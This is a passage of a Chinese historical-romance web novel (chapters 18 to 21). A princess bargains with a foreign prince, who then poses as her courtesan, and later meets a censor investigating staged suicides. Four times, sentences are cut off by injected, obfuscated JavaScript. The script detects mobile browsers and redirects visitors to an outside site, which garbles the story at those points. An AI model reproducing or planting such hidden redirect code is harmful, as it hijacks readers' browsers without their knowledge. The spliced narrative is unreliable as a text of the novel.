柔然王室情形，姜宁过去未曾深究，只知有大王子贺兰权名号，倒未听闻还有位二王子贺兰风。她抬眸望向杨阳，语带探询：“可知他们此来庆阳，所为何事？” “回殿下，是为采买药材。”杨阳答道。 姜宁眼中疑色未减。 杨阳随即解释：“去岁深秋至今，柔然境内鼠疫横行，死伤枕藉。此二人便是为此而来，月余间遍访庆阳诸多医馆，亦曾乔装来过凤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138569|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明堂。当时堂中伙计观其形貌有异，暗中尾随探得住处。后又持其画像交予往来西域的熟稔商队印证，方确认了身份。” “原来如此。”姜宁沉吟，“滞留两月之久？以其身份，在大凌境内多留一刻便多一分凶险，这又为何？” 杨阳嘴角掠过一丝了然的笑意：“殿下有所不知。他们所需药材数量庞大，所携金银却捉襟见肘，欲以分期付账之法购置。二人不肯说出真实身份，既无可靠保人，又无官府凭信，庆阳各家药铺皆不敢承接。想来因此耽搁了行程。” 他顿了顿，补充道，“况且，这贺兰风虽为王子，其母却是大凌女子，故其在柔然素不受宠，声名不显。此番若非商队中恰有在柔然王庭行走的旧识，曾偶然识得他，恐也难以确认真身。” “这倒是有几分意思。”姜宁唇角勾起一抹玩味的弧度，心中已有定计，吩咐道：“着你手下得力之人，暗中盯住那处宅院。晚些时候，我亲与苏七去会一会这位贺兰王子。” “是。”杨阳利落应声，躬身退下。 晚膳席间，姜宁将贺兰风之事及后续打算一一告知顾方。 顾方闻言，眉宇间掠过一丝忧色：“宁儿，此举是否过于行险了？” “师父放心，徒儿心中有数！”姜宁神色坚定，目光灼灼。 望着她不容置疑的神情，顾方深知她认定之事，纵有千难万险亦难阻挡，只得无奈轻叹：“罢了，便依你之计行事吧。凤明堂上下，你尽可调度。”他语声微顿，目光深深落在姜宁脸上，带着一种穿透时光的温柔，“况且……这凤明堂，原就是为你而设。” 最后一语，如石子投入心湖，在姜宁心头荡开层层涟漪。 这些年，她从师父口中听过太多关于母后的旧事，亦深知师父那份深埋心底、从未宣之于口的情愫。师父初遇母后，尚在母后豆蔻年华、待字闺中之时，比父皇更早。本是杏林传人的师父，那年高中进士，官拜吏部，在苏府得见惊鸿。此后，这份情意便如静水深流，无声却沉厚。 师父亲眼看着母后于赏花宴上对三皇子倾心，看着她凤冠霞帔嫁入王府，看着她母仪天下成为中宫皇后。为逃避这无望之情，他自请远调荒僻儋州。十六年前回京述职，于御花园繁花深处遥遥一瞥携女游玩的她，竟是最后一面。再闻音信，已是幼子夭折、心绪郁结的噩耗传来，香消玉殒。 此后经年，无数个长夜，他未尝不悔恨当初的远避。遂辞却官身，悬壶济世，创立百草堂。再后来，听闻姜宁远赴长安，他便也随之而去，将毕生所学与未尽守护之意，尽付于徒儿一身。 每当感知到师父望向自己时，眼中那份仿佛穿透时光、望向另一个身影的温柔与憾恨，姜宁总会禁不住去想——若母后当年未曾入宫，未曾在那重重宫阙中耗尽芳华，这广阔天地之间，母后那般□□的女子，定能活得更加潇洒恣意吧？ 她从未能问母后一句是否后悔，但正如外祖父所言——那是母后自己的抉择。即便重来千次万次，或许，赏花宴上那曲《凤求凰》响起时，母后的目光，依然会为父皇停驻吧。 情之一字，从来是没有道理的。 19. 第十九章 达成合作 夜色弥漫，姜宁与苏七戴上帷帽，依照图纸所示，穿过熙攘人群，悄然抵达贺兰风的住处。 那是个不起眼的破败小院，不大，隐于市井之中。 凤明堂的暗哨见姜宁到来，立刻迎上，低声禀报贺兰风与其侍从尚未归家。姜宁微一颔首，示意暗哨撤走，以免打草惊蛇。 随后，在苏七的协助下，两人悄无声息地翻入院墙。 脚刚沾地，数道暗器便破风而至。苏七剑光一闪，将暗器尽数击落。姜宁冷哼一声：“这贺兰风，倒挺谨慎。” “雕虫小技罢了。”苏七语气冰冷。 姜宁暗自笑了笑，这等机关，于苏七而言确实不足为惧。若是苏九在此，今日怕是要费一番手脚。 借着稀薄月光，两人摸黑靠近屋门。苏七示意姜宁侧身避让，随后右手紧握剑柄，左手缓缓推开房门。他率先踏入，迅速点燃灯火，目光锐利地扫视一周，确认无异后，方才示意姜宁入内。 屋内陈设寻常，应是维持了房东原样。然而墙上悬挂的一幅关系图，瞬间攫住了两人的视线。图上赫然标注着苏家、汪家、萧家、承嘉公主、凤明堂等势力之间的脉络。 当姜宁的目光落在连接承嘉公主与凤明堂的那条线上时，眸底骤然掠过一丝狠戾：“苏七，若今夜事不成，这二人，留不得。” “是，属下明白！”苏七沉声应道，握住剑柄的手指收紧了几分。 姜宁不再多言，转而翻查屋内的柜屉，搜寻其他线索。 不多时，苏七耳廓微动，捕捉到门外渐近的脚步声。他递去一个眼神，姜宁会意，瞬间吹熄灯火，屏息隐于暗处。苏七则如鬼魅般闪至院门之后，静待来人。 门外的贺兰风与小五浑然未觉，如常开锁、推门。 门扉方启，贺兰风便觉颈间陡然一凉。 嘶……这冰冷的触感，这熟悉的场景，竟让他心底荒谬地泛起一丝笑意。 “壮士，别来无恙？”他语气轻松地开口问候。 苏七面无表情：“少废话，让你的人弃刀。” 一旁的小五闻言，顺从地将佩刀解下。见苏七仍无动作，他索性将刀置于脚边。 苏七见此，迅速搜过二人全身，确认再无威胁，这才将他们拽入院中，反手扣上院门。 屋内，姜宁听到这番动静，心知苏七已得手，便重新燃起灯火，屋内骤然明亮起来。 她缓缓起身，推开房门，慵懒地半倚着门框，目光悠悠落向院中的贺兰风。夜风拂动，屋内灯火摇曳，在她脸上投下明明灭灭的光影。 贺兰风虽被苏七所制，神色却不见丝毫慌乱。他见到姜宁，嘴角反而勾起一抹慵懒的弧度，眼眸微眯：“公主殿下，又见面了。” 姜宁轻笑一声，语带玩味：“二王子远道而来，岂有不‘招待’之理？” 这声“二王子”，让贺兰风明白姜宁已查清了他的底细。他索性卸下伪装，爽朗笑道：“殿下真是客气。既是‘招待’，这刀剑无眼，可否挪开了？” “不行。”姜宁笑着摇头，眼神无半分松动。 “也罢，殿下开心便好。”贺兰风状似无奈地妥协道。 姜宁收起笑意，目光倏然锐利起来：“二王子来我大凌，所图为何？” 贺兰风眉梢微挑：“殿下不是都清楚了么？” 哦？姜宁心中微诧，此人倒是爽快。也好，省去诸多试探。她追问道，“那日，为何跟踪我？” “那日啊……”贺兰风眯起眼，仿佛陷入回忆，随即语气轻快道：“不过偶遇殿下，万分思念，一时情难自禁罢了。” “还不老实？”姜宁语气骤沉。 贺兰风低笑一声，指尖试探性地夹住颈边的剑锋，轻轻挪开。苏七目光投向姜宁，得了默许，便顺势收剑。 贺兰风得了自由，向前踱了几步，停在台阶下，仰头看向倚门而立的姜宁，脸上那份慵懒褪去，神情变得严肃：“我想和殿下做个交易。” “哦？”姜宁眉峰微动。这正合她此行目的。贺兰风主动开口，反倒让她在谈判中占得先机。 贺兰风开门见山：“我知道殿下与凤明堂关系匪浅。我要凤明堂提供一批治疗鼠疫的药材，具体数量，殿下想必已从杨掌事处得知。” “既是交易，你能给我什么？”姜宁语气平淡，仿佛浑不在意。 “二十二年前，镇北侯满门忠烈战死沙场的真相。”贺兰风一字一句道出。 短短一句话，如同惊雷炸响在姜宁心头。她心脏骤然收缩，面上竭力维持着平静，脑中瞬间闪过屋内墙上的萧家标记，以及这些年萧家逐步掌控西北军权的种种迹象。 若是萧家在二十二年前动了手脚，那一切……便都说得通了。 一旁的苏七，脸色亦是微变。 姜宁的目光瞬间变得灼热，紧盯着贺兰风：“是萧家？” “殿下聪慧。”贺兰风没有否认。 “你如何得知？有何凭证？”姜宁的声音冷冽如冰，周遭空气仿佛都为之冻结。 贺兰风深吸一口气，声音带着一丝轻叹：“我的母亲，亦是那场交易中，萧家献给柔然王的‘礼物’。”吐出‘礼物’二字时，他眼中翻涌起刻骨的恨意，指节捏得发白。 随即，他语气转冷：“至于萧家与柔然王来往的证物，就在柔然王宫，于我而言，并不难寻得。” 感受到贺兰风对柔然王室的恨意，姜宁心中一个疑团升起：“据我所知，你在柔然并不受宠，费尽心思搜罗这治疫药方和药材，于你有何益处？我怎知你今日这番说辞，是否有诈？” “此乃在下私事，不劳殿下费心。至于是真是假，殿下心中自然有答案。”贺兰风避而不答。 静默片刻，姜宁决然开口：“好，我应下了。事成之后，证据归我。”语气斩钉截铁。 贺兰风眼底掠过一丝讶异，显然没料到姜宁答应得如此干脆利落。 未等他回应，姜宁又道：“但我还有一个条件。” “什么条件？” “我要你，陪我回京，演一场戏。”姜宁眼波流转，尾音拖着一丝玩味的轻佻。 “哈哈哈……”贺兰风蓦然爆发出一阵爽朗大笑，浑厚的笑声在寂静的小院里显得有些突兀。 他抬脚，一步步踏上石阶，逼近姜宁。 夜风吹动他额前碎发，那双深邃的眼眸凝望着她，带着探究与一丝不羁。蓦地，他手臂一伸，猛地揽住姜宁的纤腰，向自己怀中一带。姜宁猝不及防撞入他怀里，温热的气息瞬间贴近。 他低头凑到她耳畔，薄唇几乎要碰到她冰凉的耳垂，声音低沉如同惑人的咒语：“何止演戏？便是殿下此刻要我以身相许，我也甘之如饴。” “放肆！”清叱声起，苏七足尖点地，人影已至，冰冷的剑锋再度紧紧贴上贺兰风的颈侧皮肤，杀气凛然。 姜宁并未如预想般惊怒，反而在贺兰风怀中轻笑出声。她微微仰头，望着贺兰风近在咫尺的俊脸，眼神戏谑，抬手，看似轻柔却带着不容抗拒的力道，缓缓推开了他紧束的手臂：“看来二王子已无师自通，开始体味这新身份的滋味了？” ？ 这番意有所指的话语，让贺兰风眼中闪过困惑。难道真要……以身相许？他飞快地盘算着两国联姻的可能利弊，揣测着姜宁更深的目的。甚至还有另一个想法，莫非这位大凌公主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贺兰风只回了他一个安抚的颔首，示意他稍安勿躁。随即，他视线转回姜宁，带着不容敷衍的认真：“陪殿下入京不难。只是，我那批救命的药材，又当如何？” 姜宁笑意不减，目光掠过一旁愤怒的小五：“这一个半月的余暇，足够你运筹帷幄。凤明堂自会倾力相助，保你所需按时到位。至于药材抵达柔然后如何处置……”她下巴微抬，示意了一下小五，“你这位忠仆，不正是为此而存在的么？” 贺兰风沉默片刻，权衡利弊，终是应声：“好，一言为定。” “二王子果然是痛快人。”姜宁欣然道，“那么，四月初十，我们南风馆见。” 话音落，她未再看贺兰风一眼，只对苏七略一点头，二人便离开小院，隐入门外夜色深处。 “主子！”院门合拢，小五急步上前，脸上忧惧交加，“属下怎能不随您同去京城？属下不放心！” 贺兰风伫立院中，目光沉沉投向姜宁消失的方向，并未立刻回答。 夜风拂过他紧绷的侧脸，带来一缕极淡的、似乎残留于他掌心的冷梅暗香。他摊开手掌，修长的手指无意识地收拢，仿佛还能感受到方才她腰肢残留的一丝体温与柔软。 良久，他才收回视线，看向焦灼的小五，声音沉静却带着不容置疑的力量：“药材之事，唯有交给你，我才放心。大祭司那边，也只有你能办成。你先回柔然等我。” “可……”小五还要再争。 贺兰风打断他，目光投向被夜色笼罩的远空，语气竟有一丝微不可察的笃定，似在宽慰小五，也像在说服自己： “无妨。她既有所图，便不会让我有事。” 20. 第二十章 南院公子 次日，天光微亮。姜宁与顾方在凤明堂前草草作别，便与苏七策马疾驰，赶回庆阳行宫。顾方在凤明堂稍作盘桓，将诸事安排妥当，亦再度背起行囊，踏上了南去彩云之地的路程。 行宫之内，光景如旧。有王嬷嬷尽心操持，以及凤明堂秘供的珍品滋养，裴落的身子恢复得极好，三皇子姜霖亦是一派康健。 每每姜宁将小姜霖搂在怀中逗弄，心底总会掠过十四年前夭折的幼弟姜宸。彼时她尚且年幼，无力相护。而今，她必将尽力护住所有珍视之人。 期间收到了惜桃等人的来信，言说已抵蜀郡，正日夜兼程，约莫一月光景便可抵达庆阳，恰能赶在四月初十那日。 姜宁略一盘算，定下计策：初九日，她与苏七先行返回庆阳州府等候。她去信嘱托惜桃等人，令他们初十当日先去庆阳行宫，叩门假意求见淑妃，再折返州府与她汇合。 至于羽林卫陈泽等人，则写信请示了父皇，除了陈泽暗中随之回京外，其余三名羽林卫皆留在行宫，护卫裴落与姜霖安危。 日子如指间沙，无声滑落。她分外珍惜与裴落相守行宫的这最后温存，亦分外贪恋这远离京城漩涡的片刻宁静。归期临近，每每话至唇边，却总难启齿。 直至四月初八晚膳时分，再无法拖延，姜宁终是艰难吐露：“裴落姐姐，我明日……便动身离开了。” 裴落盛汤的手微顿，抬眸时眼中却无惊诧，唯有一片柔若春水的澄澈，唇边漾开温婉笑意：“漪漪，我早已预料会有这一天。你且安心回去，万要顾惜自己。” 当夜，姜霖交由乳母照看。姜宁与裴落同榻而眠，絮絮话起旧日光阴。 更深露重，万籁俱寂，姜宁侧身凝视枕畔柔和的轮廓，声音低得几乎消散在夜色里：“裴落姐姐，你真的不愿走么？就照上次说的，你与长英哥哥同去，天高海阔。京城这边，我自会想法子。” 裴落指尖微凉，轻轻抚过姜宁微蹙的眉间，那眸光温柔似水，却又蕴着一股坚不可摧的力量：“漪漪，我不走。”她语声轻柔而笃定，“我信你。信我们的漪漪，终有一日，会予所有人一个圆满的结局。” 姜宁喉头一哽，猛然将头埋入裴落肩窝，双肩微颤，压抑的呜咽化作沙哑的低语：“好，裴落姐姐，等我接你归京。” 四月初九，庆阳。 霏霏细雨，真是恼人的离别时节。姜宁扶了扶帷帽的帽檐，抬眼望向灰蒙蒙的天际，细雨濡湿了轻纱，也濡湿了心绪。 她默然前行几步，行至马前，忽地驻足回首。 侧门廊下，裴落与王嬷嬷相依而立，静默地朝她挥手作别。 一股酸涩直冲鼻腔，姜宁蓦地转身，大步奔回廊下，张开手臂，再次将裴落紧紧拥入怀中：“裴落姐姐，等我！” 语毕，她猛地松开，再不敢看裴落那眼底的盈盈泪光，决然翻身上马。 马蹄踏过水洼，身后清晰地传来裴落竭力呼唤： “漪漪，我等你！” 声音未落，滚烫的泪水已混着冰凉的雨水，悄然滑落姜宁的脸颊。 愿重聚之时，尘埃落定，河清海晏。 庆阳州府，日暮。 披着一身湿冷的水汽，姜宁与苏七踏入城中最好的客栈，开好两间僻静的客房，静候明日与惜桃一行重聚。 略作安顿，姜宁便遣苏七潜入贺兰风居所，探其动静。 不久，苏七带回一纸短笺，其上唯有寥寥数字： 殿下放心即是。 明夜，我必是那最耀眼的南院公子。 字迹洒脱不羁，如那人一般。姜宁指尖捻着薄笺，禁不住摇头失笑：“这角色入得，倒比戏子还快三分。” 是夜，雨声淅沥。 枕畔听雨，更添寂寥。习惯了相伴，一旦离别，这长夜便愈发显得空旷难捱。 四月初十。 惜桃一行依计行事，马车直奔庆阳行宫。红叶与惜桃扮作姜宁与侍女，叩响紧闭的宫门，扬声求见淑妃。门内内侍得了严令，依嘱厉声回绝，铁门纹丝未开。 红叶等人故作无奈，悻悻离去。随即车马掉头，直驱州府。 行宫门外这一遭“求见未果”，亦被两双潜伏在暗处的眼睛紧盯。很快，飞鸽便将这“承嘉公主行踪”的秘密，急速送往京城坤宁宫。 这正是姜宁苦心铺就的迷障。若她过庆阳而刻意不探望裴落，更容易令汪皇后生疑。如今这求之不得的戏码，既合了父皇不准任何人探望裴落的规矩，也能松懈那汪皇后的戒心——汪皇后自以为她仍然掌握着姜宁的行踪。 州府客栈，厢房。 暮色四合，华灯初上。在苏七的暗哨指引下，确认无尾随者，惜桃、红叶、苏九及车夫一行悄然闪入姜宁下榻的客房。 阔别近三月，惜桃活泼依旧，红叶沉稳如前，苏九眉宇间更多了几分历练风霜。 最精妙的是，红叶与车夫经易容后，形貌与姜宁、苏七竟有八分相似，姜宁初见时，亦不免微微一怔。 惜桃早按捺不住，挽着姜宁的臂弯，叽叽喳喳复述一路奇遇。姜宁含笑细听，末了只问：“可玩得尽兴？” “自然尽兴！”惜桃眸中光彩熠熠，毫不犹豫地答。 “尽兴便好。”姜宁眼波温柔，笑意真切。 戌时过半，匆匆用过晚膳，红叶与车夫卸下易容皮囊，恢复本来面目留守房中。 惜桃则为姜宁精心梳妆：云髻高挽，金簪步摇，点染胭脂，披上招摇华贵的锦袍。 一切妥当，再故意令客栈小二“无意”泄露——承嘉公主今晚要驾临南风馆，见识新鲜景致。 消息如投石入水，瞬间在庆阳城中激起千层浪。 待公主的车驾仪仗行至南风馆前时，街道早已被闻讯而来的百姓围得水泄不通。人群见车驾至，如潮水般自动分开道路，无数道目光或好奇、或艳羡、或鄙薄，齐齐聚焦在车窗垂帘之上。 南风馆主早已率人在门外躬身相迎，满脸堆笑：“殿下驾临，小店蓬荜生辉，寒门有幸！” 姜宁扶着苏七的手缓步下车，神情淡漠，声音透着皇族的疏离：“馆主不必客套。本宫偶至庆阳游玩，听闻此处风雅，又恰逢初十盛事，特来一观。” 馆主面色尴尬，连连称是，侧身引路：“殿下这边请，上佳雅间早已备下。” 一行人穿过脂粉香浓、灯火通明的大堂，踏入二楼临河的雅室。软垫铺就，香茗氤氲。 姜宁落座于主位，目光看似随意地掠过下方喧嚣的大堂，指尖轻叩桌面，慵懒问道：“今日这‘南院公子’如何评选？有何规矩讲究？” “哎呀！瞧我这记性！”馆主故作懊恼地一拍额头，连忙示意小厮呈上一本画册，恭敬奉上，“殿下请看，此乃今日参选十位公子的画像名册。若殿下有中意者，只消点个头，小人立刻将其从评选名单撤下，直接送入殿下房中……” 他挤眉弄眼，言辞间尽是暧昧之意。 “不必。”姜宁眼也未抬，指尖轻飘飘地翻过一页画纸，语气似讥似讽，“连个‘南院公子’的名头都挣不到的人，本宫收来岂非笑话？” “是是是！殿下说得极是！”馆主冷汗微沁，连忙转换话题，絮絮叨叨介绍起评选流程：公子各展才艺，台下百姓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16151004|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与馆中会员以签花为凭，票高者得魁首。 听着不过如此，姜宁心中不耐渐生，委实不解这劳什子的评选为何能在庆阳掀起这般风浪。 咻——嘭——！ 烟花在天井上空骤然炸开，满堂喝彩雷动，评选正式开始。楼下人头攒动，男女混杂，翘首以盼。 隔间内，惜桃与苏九看得津津有味，探头探脑；苏七则肃立姜宁身后，目不斜视。 首位登场的公子，跳了一支极具挑逗性的胡旋舞。薄纱覆体，身若游龙，舞至酣处，轻纱翩然滑落，露出精壮胸膛，若隐若现，引得满场尖啸不断。姜宁略感不适，端起茶盏轻抿。 第二位公子倒是清雅，端坐抚琴，曲调婉转缠绵，隐有靡靡之意，拨人心弦。姜宁指尖微顿，凝神倾听片刻。 “倒也称得上……百花竞艳。”她靠回椅背，姿态慵懒。在琴音里，思绪忽然飘远：若换了那沈御史立于此处表演才艺，会是何等情形？ 念头一起，她自己也忍俊不禁，低眉抿唇一笑。沈之衡那个木头，指望他示好求爱？简直天方夜谭。 待到第三位公子扭捏作态地唱罢一曲小调，姜宁已是兴致缺缺，后面几位登台者，她都意兴阑珊。直到一个沉稳疏朗的声音通报道： “第八位参选者，临风公子——” 姜宁这才抬眸望去。 来人一袭玄色劲装，身姿挺拔如松，面容被半张精巧的银质面具所覆，仅露出一双深邃眼眸和线条优美的下颌。 他手执一物，是古朴的陶埙，立于灯火煌煌的中央，姿态从容不迫。埙声幽幽而起，沉郁苍凉，与这满场浮靡的绮罗景象，格格不入却又奇异交融。 那种欲露还藏、欲拒还迎的疏冷风情，偏生被他演绎得恰到好处。 姜宁坐直了身子，眼底掠过一丝不易察觉的满意。她搁下茶盏，指尖轻抚腕间玉镯，毫不掩饰地流露出欣赏之态。 这番变化立即被紧盯着她反应的馆主捕捉，他不动声色地冲手下使了个眼色。南院公子，已是内定。 一曲终了，余韵绕梁。姜宁率先抬手，清脆的掌声在一室静寂中格外清晰。 她隔着栏杆，目光灼灼地望向场中那抹玄色身影，声音不大，却带着不容置疑的穿透力：“临风公子这埙曲当真是吹到了本宫心坎上。不知公子，可愿随本宫回京？” 此言一出，满场哗然。过往也有公子被贵人当场看中，但像承嘉公主这般身份高贵、又如此直白霸道的邀约，却是闻所未闻。 一时间，羡慕、嫉妒、探究的目光朝向贺兰风。 贺兰风抬眸，隔着人群与面具，迎上姜宁那双明眸。他躬身一礼，声音清朗温润，带着几分名士风流的洒脱：“能得殿下青眼，是临风三生修来的福气，岂敢不愿？” “甚好。”姜宁唇角微扬，眼波流转处，泻出一丝不似作伪的柔情蜜意，“那……卿卿今夜便随本宫回驿馆吧。” 话语里的暧昧，令整个南风馆的温度都灼热了三分。 翌日，承嘉公主豪掷千金，独占南院公子临风的消息，便传遍了整个庆阳城。 公主车驾并未即刻返京，而是带着这位名动庆阳的绝色“男宠”，一连数日流连于庆阳各大秦楼楚馆，演作纵情声色后，方才缓缓归京。 至于红叶和那名车夫，询问意见后，姜宁便将二人留在了庆阳凤明堂。她始终不放心裴落，终究还是要留些在庆阳能够时时照拂裴落之人。更何况，后续长安和昆仑之事，她也需要红叶去做。 与此同时，关于承嘉公主与男宠临风公子如何恩爱缠绵的香艳流言，也已传入了京城。 21. 第二十一章 这修罗场 正月离京，再归来时已是五月末。京城的暑气初现，空气里浮动着粘腻的热意。 一路行来，贺兰风因其爽朗不羁的性子，渐渐与姜宁主仆几人相处融洽，甚至缠着苏七学了几手粗浅招式傍身。 有时候姜宁也不禁感慨，当初选他充作男宠确是步妙棋。这一月有余的回京路上，他知分寸、懂进退，人前与姜宁扮起“恩爱”戏码浑然天成，分寸拿捏得恰到好处。 姜宁心中隐隐理解了姑母平阳长公主为何终生不纳驸马、只蓄男宠。 一行人昨夜在城外驿站歇息了一夜，因而今日入城时辰尚早，不过辰时。南门守卫验过公主信物，忙不迭放行。 车驾行至通往公主府的必经巷道，蓦地停滞不前。苏七的声音隔着车帘传来，沉稳中带着请示之意：“殿下，前方巷道被封。是大理寺的人。” 大理寺？姜宁眸光微凝，素手轻挑侧帘望去。一队大理寺官差已然围住武库清吏司主事陈勇和的府邸，同时封锁了府邸前的整条街巷。 很快，姜宁脑中掠过此人印象——是兵部的人，官职不高，执掌的却是兵甲器械出入的要害之职。 一名官役见华贵车驾滞留，小跑近前，扬声道：“大理寺办案，请贵人绕行！” 姜宁唇角勾起一抹清浅的弧度，声音不高，却字字清晰：“此乃本宫回公主府的必经之路。敢问官爷，是要本宫绕去何处？”语带三分戏谑，七分不容置疑的威仪。 那人闻言脸色微变，忙躬身告罪：“殿下恕罪！属下这就去请向少卿示下。”语毕匆匆折返。 姜宁放下帘子，阖眸养神，指尖无意识地摩挲着。贺兰风斜倚锦垫，眼底掠过一丝玩味，低笑道：“公主威仪，当真令人叹服。底下人连大气都不敢喘了。” 姜宁侧眸瞥他，朱唇轻启，话里藏锋：“二王子不必自谦。往后在这京城，底下人敬你，便是敬本宫。” 贺兰风朗笑出声，尾音拖长，带着几分慵懒的挑逗：“如此，那我可得更加尽心‘伺候’殿下才是。” 惜桃在一旁拼命抿唇，才堪堪压下笑意。 恰在此时，车外传来向恒声的嗓音：“不知殿下今日归京，阻了凤驾，请殿下勿怪。” 帘子再度掀起，姜宁的目光落在他微躬的身影上，语气淡然：“少卿言重。还望少卿莫怪本宫扰了大理寺公务才是。” “殿下说笑了，”向恒声略一抱拳，侧身道：“前方已放行，殿下，请。” “多谢。” 将要放下帘子之时，姜宁的目光扫过府邸前的一众大理寺官差，话锋一转，唇角噙着若有似无的笑意，“说来，本宫离京时走得急，尚未来得及当面谢过少卿与沈御史，为本宫寻回了那两件心头好。改日本宫在府中设宴，两位大人可得务必赏光。” 向恒声抱拳更深：“殿下盛情，臣等惶恐。” 哒、哒、哒—— 清脆的马蹄声由远及近，忽地打破了巷道的寂静。 姜宁循声望去，只见沈之衡一身绯色官袍，策马疾驰而来，风尘仆仆。他身后跟着几名都察院属官。 一行人勒马停驻。沈之衡翻身下马，动作利落，躬身行礼：“微臣参见殿下。”声音一如往昔清冷。身后官员亦随之行礼肃立。 四目相对。姜宁的目光在他脸上细细打量。四个月未见，他眉宇间倒是多了更深的锐利，昔日清俊的轮廓显得愈发冷硬，竟蓦然有了独当一面的权臣气象。 她眼波流转，悠悠开口，声音带着一丝长途跋涉后的慵倦，却又字字清晰：“本宫在京外时，曾听闻沈大人率领都察院联合大理寺和刑部肃清积弊，雷厉风行，令宵小闻风丧胆。今日一见，果真是气度非凡啊。” 她顿了顿，唇边笑意加深，“对了，还未恭喜沈大人高升。如今，该称一声‘沈御史’了。” 回京途中，姜宁便已听闻原左都御史甘璋致仕隐退，由沈之衡接任左都御史之位。虽尚未入内阁，但已是权柄赫赫，足以与六部尚书平起平坐。 沈之衡躬身更低，声音波澜不惊：“微臣不过尽忠职守，为社稷清尘。殿下过誉了。” “浮月桥畔那夜……”姜宁眼睫微垂，话锋一转，似陷入短暂回忆，复又抬眸，眸光清亮坦荡，“那夜是本宫年少轻狂，行事荒唐，唐突了大人。这段时日，本宫每每思及，心下难安。如今见大人仕途坦荡，未受牵累，本宫这颗心，也总算放下了。” 她语气轻缓，带着一种释然，“前尘旧事，不过一场荒唐闹剧，沈大人莫要挂怀才好。”言语间，仿佛已将那段纠葛彻底揭过。 在无人窥见的袖底，沈之衡的指尖微微蜷缩了一下。他抬眸，迎上她看似坦荡的目光，他深邃的眼底暗藏情绪，却只沉声道：“殿下言重了。那夜之事，殿下……不必介怀。”这最后四字，吐得极轻，却带着沉甸甸的分量。 马车内，贺兰风嘴角勾起一抹了然又玩味的弧度。听了这番对话，他也随即明白，原来这便是那位与公主闹得满城风雨的朝廷重臣。 看罢这出好戏，他倏然开口，嗓音压得低沉温柔，字字缱绻，恰到好处地打破了僵局：“殿下舟车劳顿一夜，应早些回府歇息才是。与两位大人的叙旧，不如改日再于公主府设宴可好？”他顿了顿，语带邀宠，“奴……新学了几道江南小点，届时定亲手奉与殿下品鉴。” 陌生男子的声音自公主銮驾内传出，呵护备至，亲昵熟稔。身份不言自明——这便是那传闻中公主自庆阳带回的“南院公子”。 姜宁侧首，望向贺兰风，眼角眉梢瞬间染上毫不掩饰的亲昵笑意：“卿卿说的是。”那声“卿卿”，婉转旖旎。 她复又转向沈之衡与向恒声，端出皇家公主的清贵姿态：“如此，本宫便先行回府了。改日再邀两位大人过府一叙。” 帘子缓缓垂落，隔绝了内外。 苏七朝沈之衡与向恒声二人略一颔首，驭动马车辚辚而去。 车轮碾过青石板路的声响渐远，凝滞的空气仿佛才重新流动。压抑的低语在官差中蔓延开来： “竟是真的？殿下真从庆阳带了男宠回来？” “听闻南院公子伺候人的功夫都十分了得。” “莫非殿下也想学平阳长公主？” “那沈大人岂非……” “放肆！”向恒声一声厉喝，如冷水泼下，“再敢妄议，每人领二十板子！” 议论声戛然而止，巷内重归死寂。 沈之衡的目光仍望着在马车渐渐消失的巷口。指尖那点挥之不去的冷意，似乎更重了。他心头莫名沉了一沉，一种难以名状、却又沉重的情绪悄然弥漫开来。 他蹙眉，将这丝异样强行压下。片刻后，他眼底的恍惚，逐渐清澈起来，转向向恒声平静问道：“陈勇和如何？” 向恒声引他走向陈府，面色凝重：“夜里没的。家眷一口咬定是自缢，门窗完好，现场也留了认罪书。” 他声音压得更低，带着洞悉的语气，“但脖颈勒痕走向不对，指甲缝里有挣扎时刮下的木屑……依我看，九成是灭口伪作自尽。” “又是自尽假象？”沈之衡脚步顿住，眉头紧锁。 “是，本月第三起了。”向恒声回道。 “二十三年前蜀地那桩旧案，藏得还真是深。” 每每有了牵扯旧案的官员线索，最后皆以这般“畏罪自尽”的方式，永远闭上了嘴。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175293|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >———— 车厢内，方才与外界的剑拔弩张被锦帘隔绝。 贺兰风斜倚着锦垫，目光落在姜宁脸上那抹若有似无的浅笑。他唇角亦勾起一个相似的弧度，慵懒中带着探究：“殿下待那位沈御史，倒似有些不同寻常。” 